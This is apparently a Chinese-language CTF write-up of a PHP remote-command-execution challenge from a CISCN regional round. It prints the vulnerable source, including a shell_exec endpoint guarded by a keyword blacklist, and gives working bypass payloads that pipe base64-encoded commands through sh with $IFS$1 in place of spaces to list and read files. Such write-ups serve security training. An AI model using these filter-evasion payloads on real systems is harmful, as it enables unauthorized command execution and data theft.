0x01 前言
这次分区赛晋级好像是和之前不同了,说的是每个学校都有两个名额,初赛的时候,随便一个人搞搞加队友的RE就进了,到地方之后break
是一个都没有,下午fix
加固黑名单搞了一个mynote
,当时想着自己RCE比较好,结果没有通,今天来看看那
0x02 一道当时很可能出的RCE
源码 的获得也是非常来之不易,问了七八个师傅吧,最后在kengwang
师傅和柿子师傅的帮助拿到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php function fetchUrl($url) { if (!preg_match('/^http:\/\/ciscn\..*?@127\.0\.0\.1\/flag\.php\?look$/i', $url)) { return "Almost Done~"; }
if (strpos($url, 'file://') !== false) { return "Accessing files via file protocol is not allowed"; }
$flagContent = @file_get_contents('/var/www/guess/fllllllaaaaaaag.php');
if ($flagContent === false) { return "Error accessing flag file"; }
return $flagContent; }
$userInput = isset($_GET['url']) ? $_GET['url'] : '';
if (empty($userInput)) { echo highlight_file(__FILE__, true); } else { $result = fetchUrl($userInput); echo $result; } ?>
|
这里第一个正则我记得当时是直接就过了,结果今天差点绕不过,头有点晕,必须匹配搞成不匹配
1 2 3
| http://27.25.151.48:12138/rce.php?url=http://ciscn.1@127.0.0.1/flag.php?look
flag{th1s_is_f4ke_flag}.......hoooooh,hacker!fake!but!!there is something in coooooomand.php
|
coooooomand.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php function executeCommand($command) { if (preg_match('/cat| |\\\\|\${IFS}|%09|\$[*@x]|tac|iconv|shuf|comm|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string/', $command)) { return "Hacker!!!"; }
$output = shell_exec($command); if ($output === null) { return "uhhhh"; }
return $output; }
$command = isset($_GET['command']) ? $_GET['command'] : '';
if (!empty($command)) { $result = executeCommand($command); echo nl2br(htmlspecialchars($result, ENT_QUOTES, 'UTF-8')); } else { echo highlight_file(__FILE__, true); } ?>
|
这里当时是怎么打都打不通,现在一看很好打
1 2 3
| echo "bHMgLw=="|base64 -d|sh
echo$IFS$1"bHMgLw=="|base64$IFS$1-d|sh
|
所以payload
就是
1 2 3
| /coooooomand.php?command=echo$IFS$1"bHMgLw=="|base64$IFS$1-d|sh
/coooooomand.php?command=echo$IFS$1"dGFjIC9mKg=="|base64$IFS$1-d|sh
|
0x03 小结
虽然当时吧,初赛一个人随便搞搞就进了,但是分区赛是真坐牢,今天能把这个题秒了呢,也是感觉自己很快乐也证明自己进步了